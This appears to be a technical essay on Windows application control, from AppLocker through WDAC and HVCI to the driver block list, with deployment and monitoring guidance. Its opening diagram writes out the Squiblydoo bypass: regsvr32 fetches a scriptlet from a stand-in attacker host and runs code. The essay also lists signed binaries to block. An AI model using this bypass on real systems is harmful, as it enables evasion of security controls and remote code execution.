sequenceDiagram participant U as User session participant Reg as regsvr32.exe (signed) participant AL as AppLocker check participant Atk as attacker.com participant JS as JScript engine U->>Reg: Spawn with /i:http://atk/x.sct scrobj.dll Reg->>AL: Publisher = Microsoft Corp? AL-->>Reg: PASS (publisher rule allows) Reg->>Atk: GET http://attacker/x.sct (proxy-aware, TLS-capable) Atk-->>Reg: Scriptlet (JScript COM) Reg->>JS: Instantiate scriptlet in-process JS-->>Reg: Arbitrary code under user token Reg-->>AL: Process exit logged "successful launch"

The bypass-research record is the size of a small university faculty. Microsoft's own bypass catalogue [@ms-bypass-catalogue] thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).

The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: addinprocess.exe, bash.exe, cdb.exe, cscript.exe, csi.exe, dnx.exe, dotnet.exe, fsi.exe, infdefaultinstall.exe, kd.exe, kill.exe, lxrun.exe, Microsoft.Workflow.Compiler.exe, msbuild.exe, mshta.exe, ntkd.exe, ntsd.exe, powershellcustomhost.exe, rcsi.exe, runscripthelper.exe, system.management.automation.dll, texttransform.exe, visualuiaverifynative.exe, wfc.exe, windbg.exe, wmic.exe, wscript.exe, and wsl.exe are all explicitly listed.The MITRE ATT&CK record for T1218.010 (Regsvr32) [@mitre-t1218-010] credits Smith for the technique and dates its documented in-the-wild use to multiple "campaigns targeting governments." The "Squiblydoo" nickname itself is widely attributed to Carbon Black's April 2016 threat advisory [@carbonblack-squiblydoo-2016], which MITRE cites as reference [3]. The LOLBAS project entry for Regsvr32 [@lolbas-regsvr32] preserves the verbatim AWL bypass syntax that Smith published.

Property	SRP (2001)	AppLocker (2009)
Identity primitive	Path / Hash / Cert / Zone	Path / Hash / Publisher
Per-user scoping	No	Yes
Enforcement engine	Safer API (`SaferIdentifyLevel`)	`appidsvc` + `appid.sys` filter driver
Script-host coverage	Opt-in per host	Centrally enforced
Canonical bypass class	Path-rule writeable directories	Squiblydoo / publisher-blind LOLBINs
MSRC servicing	Deprecated 2018	Defense-in-depth only (not serviced)

Microsoft's own architectural surrender is in the AppLocker overview [@ms-applocker-overview] itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview, 2026. Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker's filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.

4. The Evolution: Two Parallel Rails Converging on the Runtime Loop

From July 2015, Microsoft's answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker's policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the kernel CI check itself underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.

4a. The WDAC Rail

Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history]. For the first time, Microsoft's app-control engine consumed an XML policy: a schema with Signers, FileRules, SigningScenarios, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was CI.dll [@ms-acfb-overview], and CI.dll is still the engine binary today. CCI was, from day one, serviced under MSRC criteria [@ms-acfb-overview] -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.

The 2017 rebranding decoupled the engine from the marketing. In October 2017 [@ms-2017-wdac-blog] Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that "we estimate that only about 20% of our customers are using any type of application control technology." The same post announced the rename from "configurable CI" to Windows Defender Application Control, and explained that the original Device Guard story had "unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately."

The post also disclosed that "in the Windows 10 Creators Update (1703) [@wikipedia-w10-history] released last spring we introduced an option to WDAC called managed installer." Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.

A WDAC policy is an XML document conforming to the SiPolicy schema [@ms-rule-options], evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the 2024 rename [@ms-acfb-landing]). The binary, the schema, and the runtime loop are unchanged across the renames. The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario). The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 [@ms-isg] tells WDAC to consult ISG for "known good," "known bad," or "unknown" verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG "isn't recommended for devices that don't have regular access to the internet."

The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC [@ms-deploy-multi]. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation's existing allowlist, without a merge-and-resign ceremony every quarter.The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment [@ms-deploy-multi] documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.

The 2024 rename to App Control for Business changed the URL path on Microsoft Learn and not much else. The binary is still CI.dll; the schema is still SiPolicy; the rule options are still numbered the same way. Throughout the rest of this article we will use "WDAC" for prose searchability, with the understanding that "App Control for Business," "configurable code integrity," and "Device Guard kernel CI" all refer to the same engine.

Note: Four aliases for the same feature: configurable code integrity (2015), Windows Defender Device Guard (2015-2017), Windows Defender Application Control / WDAC (2017-2024), and App Control for Business / ACfB (2024-). All four consume the same SiPolicy XML, run against the same CI.dll, and emit events on the same Microsoft-Windows-CodeIntegrity/Operational channel. We use WDAC throughout for searchability; the App Control for Business documentation root [@ms-acfb-landing] is the canonical 2026 entry point.

flowchart LR Root[SiPolicy XML] Root --> Rules[Rules
policy options 0-20+] Root --> Signers[Signers
signer identities] Root --> FileRules[FileRules
Hash, FilePath, FileName, FilePublisher] Root --> Scenarios[SigningScenarios
KMCI 131, UMCI 12] Root --> Hvci[HvciOptions
0, 1, 2, 4] Root --> Update[UpdatePolicySigners
who may replace policy] Root --> Suppl[SupplementalPolicySigners
who may augment] Root --> Ci[CiSigners
trusted signer set in UMCI]

4b. The HVCI Rail

In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor [@paragmali-com-a-security], no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.Rutkowska's Black Hat USA 2006 presentation [@rutkowska-bh2006] demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the defender's substrate.

Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history] on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. SkCi.dll runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver's code pages from W to X [@ms-kdp-blog].

The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of "trustlets" -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu's Battle of SKM and IUM [@github-com-20alex20ionescu20-20201520blackhat2015] is the canonical 2015 primary on the architecture. Microsoft Learn [@ms-memory-integrity] documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: "Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard." A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit [@ms-kdp-blog]. VTL1's `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).

The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) [@wikipedia-w10-history] renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) [@ms-memory-integrity] added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD's Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns "will have a bigger impact on performance."

Windows 10 2004 (May 2020) added Kernel Data Protection (KDP) [@ms-kdp-blog], the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices [@ms-driver-blocklist], and shipped the Vulnerable Driver Block List on by default alongside it.

Microsoft Learn's three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI (Memory Integrity in Windows Security)* as the canonical first-mention form and *HVCI* for prose density throughout; a 2017 Microsoft Mechanics video called it *Device Guard*. flowchart TB VTL0["VTL0 -- NT kernel + CI.dll
'asks' for execute permission"] HV["Hypervisor -- hvix64.exe / hvax64.exe
holds SLAT page tables"] VTL1["VTL1 -- Secure Kernel + SkCi.dll
validates Authenticode + Block List"] Page["Driver image page
state: Writable -> ReadOnly+Execute"] VTL0 -- "Secure call: validate image" --> VTL1 VTL1 -- "If signed and not blocked" --> HV HV -- "Flip SLAT entry W->X" --> Page Page -- "Future write from VTL0" --> HV HV -- "Page-fault, no transition" --> VTL0

By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI's SkCi.dll enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is both rails working together at the page-fault. That sequence is the next section.

5. The Breakthrough: The Runtime Enforcement Loop, End-to-End

Open Process Monitor, watch a kernel driver load, and the human-readable output is IRP_MJ_CREATE returns success. Open WinDbg against a kernel-mode debugger session, set a breakpoint on SeCodeIntegrityVerifySection, watch the same load, and roughly forty distinct trust decisions happen between NtCreateSection and the moment the driver's DriverEntry is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.

The first step is NtCreateSection. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature's PKCS#7 envelope. Step two: SeCodeIntegrityVerifySection calls into CI.dll [@ms-acfb-overview] under \Windows\System32\. CI.dll builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under C:\Windows\System32\CodeIntegrity\CIPolicies\Active\.The exact function names here -- SeCodeIntegrityVerifySection, CipMincryptValidateImageHeader -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity [@ms-memory-integrity] confirms only the higher-level "kernel mode code integrity process" terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.

Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for dbutil_2_3.sys [@ms-driver-blocklist] terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled) [@ms-isg], and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a secure call -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS [@paragmali-com-the-en].

In step five, SkCi.dll [@github-com-20alex20ionescu20-20201520blackhat2015] inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy's HvciOptions element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.

Step six returns control to the loader; the driver's image is now executable in VTL0 and its pages are read-only from VTL0's perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor [@ms-hyperv-bounty] (hvix64.exe on Intel, hvax64.exe on AMD), not by the kernel that the attacker may already control.

Key idea: Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.

sequenceDiagram participant L as NT Loader participant CI as CI.dll (VTL0) participant Pol as Active policy state participant Hv as Hypervisor (hvix64.exe) participant Sk as SkCi.dll (VTL1) participant SLAT as SLAT page tables L->>CI: NtCreateSection(image) CI->>CI: Parse Authenticode + page-hash table CI->>Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\ Pol-->>CI: Verdict (deny / allow / signer / ISG) CI->>Hv: Secure call: revalidate this kernel image Hv->>Sk: Forward to VTL1 Sk->>Sk: Re-check signature + Block List Sk-->>Hv: PASS or FAIL Hv->>SLAT: If PASS, flip page state W -> X (read-only execute) SLAT-->>L: DriverEntry executes in VTL0 Note over SLAT,Hv: Future VTL0 write to these pages -> SLAT page-fault

The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the Microsoft-Windows-CodeIntegrity/Operational channel [@ms-driver-blocklist] entries that show up in Event Viewer under each verdict.

Step	Component	File path	Event on failure
1	NT loader	`\Windows\System32\ntoskrnl.exe`	(kernel STATUS code)
2	CI engine	`\Windows\System32\CI.dll`	3023 (audit) / 3024 (enforce)
3	Policy state	`\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip`	3076 (UMCI) / 3077 (UMCI enforce)
4	Secure call	`\Windows\System32\securekernel.exe`	(cross-VTL trace)
5	Secure CI	VTL1-resident `SkCi.dll`	3033 (driver block) / 3034 (driver audit)
6	Hypervisor SLAT flip	`\Windows\System32\hvix64.exe` / `hvax64.exe`	(hypervisor trace)
7	Page-fault safety net	Hypervisor	SLAT violation crash

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS's own page tables. Because SLAT entries are *under* the OS's view, a kernel attacker in VTL0 can change the OS's page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections. The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block) [@ms-event-id-explanations]. All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.

The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.

{` // Demonstrates the logic of: // Get-CimInstance -ClassName Win32_DeviceGuard // -Namespace root\Microsoft\Windows\DeviceGuard // // AvailableSecurityProperties returns an array of small integers. // Decode them against the Microsoft Learn-documented mapping. const SECURITY_PROPS = { 1: 'Hypervisor support (VBS-capable CPU)', 2: 'Secure Boot is available', 3: 'DMA protection is available', 4: 'Secure Memory Overwrite is available', 5: 'NX protections are available', 6: 'SMM mitigations are available', 7: 'MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)', 8: 'APIC virtualization is available', };

// Pretend we just received this from a remote endpoint: const sample = { AvailableSecurityProperties: [1, 2, 3, 5, 7], VirtualizationBasedSecurityStatus: 2, // 2 = running SecurityServicesRunning: [2], // 2 = HVCI active };

console.log('VBS status:', sample.VirtualizationBasedSecurityStatus === 2 ? 'RUNNING' : 'OFF'); console.log('HVCI:', sample.SecurityServicesRunning.includes(2) ? 'ACTIVE' : 'INACTIVE'); console.log('Capabilities:'); for (const id of sample.AvailableSecurityProperties) { console.log(' -', SECURITY_PROPS[id] || ('unknown:' + id)); } `}

Note: Joanna Rutkowska's Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]) argued in 2006 that the hypervisor was the attacker's substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the defender's substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska's rootkit possible is the hardware feature that makes HVCI's W$\oplus$X invariant enforceable.

We now have an answer to the question that opened section one. When dbutil_2_3.sys loaded against a default Windows 11 24H2 box with HVCI on, step five happened. SkCi.dll consulted the Vulnerable Driver Block List [@ms-driver-blocklist] inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551 [@nvd-cve-2021-21551], refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to operate it.

6. State of the Art: Authoring, Signing, Deploying, Monitoring

Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.

6.1 Authoring

Authoring starts from one of the example base policies [@ms-example-policies] Microsoft ships under %OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\. The directory contains DefaultWindows_Audit.xml (a sane starting allowlist that runs in audit mode), AllowMicrosoft.xml, AllowAll.xml, AllowAll_EnableHVCI.xml, DenyAllAudit.xml, and the canonical SmartAppControl.xml / SignedReputable.xml [@ms-example-policies] consumer-grade template. There is also RecommendedDriverBlock_Enforced.xml -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates WinSiPolicy.xml and WinSEPolicy.xml.

The PowerShell call that mints a new base policy is New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. The -Level flag picks one of the eight rule-level identities [@ms-rule-options] -- Hash, FilePath, FileName, FilePublisher, LeafCertificate, PcaCertificate, RootCertificate, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. FilePublisher is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded "anything from this signer" allowance.

A WDAC rule option (rule option 13 [@ms-rule-options], first shipped in Windows 10 1703 in April 2017 [@ms-2017-wdac-blog]) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a "trusted" attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to "how do you deploy software to a fleet that runs an enforced WDAC policy."

6.2 Audit-mode discovery

Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn [@ms-rule-options] is unambiguous: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn't allowed by the policy." Set-RuleOption -Option 3 on the policy XML enables audit mode; Set-RuleOption -Option 3 -Delete removes it and switches the policy into enforce mode. In between, the SOC harvests Microsoft-Windows-CodeIntegrity/Operational event 3076 entries with Get-WinEvent, and New-CIPolicy -Audit mints a discovery policy from the observed blocks that you can merge into the base.

Note: Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate New-CIPolicy -Audit -> merge -> redeploy until the audit-event volume goes near-zero. Then delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.

6.3 Signing

A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: Add-SignerRule -Update to add the signer that may replace the policy in future, Set-RuleOption -Option 6 -Delete to drop "Enabled:Unsigned System Integrity Policy" so the policy refuses to load unless signed, ConvertFrom-CIPolicy to produce the binary .cip, and signtool.exe with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites [@ms-rule-options]: Secure Boot [@paragmali-com-to-userini] must be on; ECDSA certificates are explicitly unsupported; and the policy's VersionEx must be monotonically increasing across replacements.

Note: A botched signed-policy update -- a VersionEx rollback, a wrong signer, a missing UpdatePolicySigner for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset before fleet rollout.

6.4 Deployment and stacking

Multiple-policy WDAC is the deployment model since Windows 10 1903 [@ms-deploy-multi]. Up to thirty-two active policies sit in C:\Windows\System32\CodeIntegrity\CIPolicies\Active\, or unlimited on devices that have the April 9, 2024 cumulative update [@ms-deploy-multi]. Base-and-supplemental composition (<SupplementalPolicySigner>) lets a divisional supplemental policy union into a corporate base. The <HvciOptions> element toggles HVCI from inside the policy XML itself. The published RecommendedDriverBlock_Enforced.xml [@ms-driver-blocklist] policy is designed to stack alongside an organisation's allowlist without merging.

Deployment surfaces today are: the Intune App Control for Business CSP [@ms-acfb-landing], Configuration Manager's App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.

flowchart LR A[DefaultWindows_Audit.xml] B[Set-RuleOption -Option 3
Deploy in audit mode] C[Get-WinEvent CodeIntegrity-Operational
collect event 3076] D[New-CIPolicy -Audit
mint supplemental from blocks] E[Merge supplemental + base] F[Set-RuleOption -Option 3 -Delete] G[ConvertFrom-CIPolicy + signtool] H[Deploy enforced via Intune / ConfigMgr] A --> B --> C --> D --> E --> C E --> F --> G --> H

6.5 Monitoring

Monitoring rests on two telemetry sources. The first is the Microsoft-Windows-CodeIntegrity/Operational channel [@ms-event-id-explanations] on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting [@ms-asr-rules], where the DeviceEvents table carries AppControlExecutableAudited, AppControlExecutableBlocked, and AppControlCodeIntegrityDriverRevoked rows. The two stitch together: a single 3033 event on the endpoint maps to a single AppControlCodeIntegrityDriverRevoked row in the SIEM.

The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 [@ms-vmdrc-blog] -- Block abuse of exploited vulnerable signed drivers. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.

Event ID	Phase	Audience	Meaning
3023	Audit	Kernel-mode	Driver would have been blocked (audit)
3024	Enforce	Kernel-mode	Driver blocked
3033	Enforce	Kernel-mode	Driver blocked by Block List rule
3034	Audit	Kernel-mode	Driver allowed but matched audit
3076	Audit	User-mode	Process would have been blocked
3077	Enforce	User-mode	Process blocked

The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a New-CIPolicy -Level FilePublisher invocation extracts from a PE binary.

{` // Demonstrates the logic of: // New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash // // The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName // + minimum Version. Anything from the same publisher with the same product // and binary names, at or above the version bar, satisfies the rule. function filePublisherRule(pe) { return { O: pe.signer.organization, CN: pe.signer.commonName, ProductName: pe.versionInfo.productName, BinaryName: pe.versionInfo.originalFilename, MinimumVersion: pe.versionInfo.fileVersion, }; }

const peSample = { signer: { organization: 'Microsoft Corporation', commonName: 'Microsoft Windows' }, versionInfo: { productName: 'Microsoft Windows Operating System', originalFilename: 'powershell.exe', fileVersion: '10.0.26100.1', }, };

const rule = filePublisherRule(peSample); console.log('Generated FilePublisher rule:'); for (const [k, v] of Object.entries(rule)) console.log(' ' + k + ' = ' + v); console.log('Anything at or above version', rule.MinimumVersion, 'will satisfy this rule.'); `}

The consumer cousin of WDAC is Smart App Control [@ms-sac-support], which runs the same CI.dll against an example policy (SmartAppControl.xml, also shipped as SignedReputable.xml). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, "no way to bypass Smart App Control protection for individual apps."

WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.

7. Competing Approaches: Apple, Linux, Android

Three other major operating systems answer the question "which code is allowed to run on this device." None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.

macOS combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015) [@wikipedia-sip], and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple [@apple-gatekeeper]. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon [@apple-os-integrity], which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.

Linux ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009 [@linux-ima], with the Extended Verification Module (EVM) for off-line attack protection and dm-verity [@wikipedia-dm-verity] for read-only rootfs verification. IMA is the closest Linux analogue to WDAC's audit pipeline: it can collect file measurements, store them in a kernel-resident list (and extend a TPM PCR if hardware is present), attest them remotely, and appraise them against a "good" value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing's TDX or SEV-SNP overlay, and that is opt-in.

A Linux device-mapper target that performs Merkle-tree-walk verification of every block read from a backing device, returning EIO on any block whose computed hash does not match the precomputed tree. It is the foundation of Android Verified Boot [@android-verified-boot], and it provides a verified read-only root filesystem on Linux distributions that opt in. The verity target itself is a Linux-kernel feature; the broader device-mapper framework that hosts it is also available in NetBSD and DragonFly BSD [@wikipedia-dm-verity].

Android combines Android Verified Boot (AVB), introduced in Android 8.0 [@android-verified-boot], which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9) [@android-apk-signing], and v4 (Android 11) [@android-apk-v4]; the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.

Property	Windows (WDAC + HVCI)	macOS	Linux	Android
Tenant-authored policy	Yes (XML)	No	Yes (IMA appraise)	No
Hypervisor-rooted enforcement	Yes (VTL1)	No (silicon-rooted)	No (default)	No
Per-page W$\oplus$X for kernel	Yes (HVCI)	Yes (KIP, fixed)	No (default)	No
Sealed system image	No (modular)	Yes (sealed APFS)	Optional (dm-verity)	Yes (Verified Boot)
Per-load runtime check	Yes (every PE)	Yes (every Mach-O)	Optional (IMA)	App install / Zygote
Trust anchor	Microsoft + tenant	Apple only	TPM PCR / tenant	AVB key + Google Play
